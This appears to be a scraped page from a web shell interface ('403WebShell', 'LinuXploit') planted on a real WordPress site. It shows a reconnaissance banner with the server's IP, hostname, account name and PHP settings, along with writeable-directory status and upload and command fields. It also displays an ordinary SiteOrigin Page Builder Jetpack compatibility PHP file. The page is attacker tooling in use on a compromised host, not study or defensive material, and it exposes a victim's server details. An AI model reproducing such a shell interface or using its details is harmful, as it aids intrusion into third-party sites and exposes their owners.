Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.227.3
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/siteorigin-panels/compat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/siteorigin-panels/compat/jetpack.php
<?php
/**
 * Prevent Photon from filtering srcset.
 * This is done using a method to prevent conflicting with other usage of this filter.
 *
 * @return false
 */
function siteorigin_panels_photon_exclude_parallax_srcset( $valid, $url, $parsed_url ) {
	return false;
}

/**
 * Prevent Photon from overriding parallax images when it calculates srcset and filters the_content.
 *
 * @param $skip Whether to exclude the iamge from Photon.
 * @param $src The URL of the current image
 * @param $tag This parameter is unrelaible as it can contain the image tag, or an array containing image values.
 *
 * @return bool
 */
function siteorigin_panels_photon_exclude_parallax( $skip, $src, $tag ) {
	if ( ! is_array( $tag ) && strpos( $tag, 'data-siteorigin-parallax' ) !== false ) {
		$skip = true;
	}

	return $skip;
}

/**
 * When a post is copied using Jetpack, copy Page Builder data.
 *
 * @param WP_Post $source_post    Post object that was copied.
 * @param int     $target_post_id Target post ID.
 */
function siteorigin_panels_jetpack_copy_post( $source_post, $target_post_id ) {
	$panels_data = get_post_meta( $source_post, 'panels_data', true );

	if ( ! empty( $panels_data ) ) {
		add_post_meta( $target_post_id, 'panels_data', $panels_data );
	}
}
add_action( 'jetpack_copy_post', 'siteorigin_panels_jetpack_copy_post', 10, 2 );

Youez - 2016 - github.com/yon3zu
LinuXploit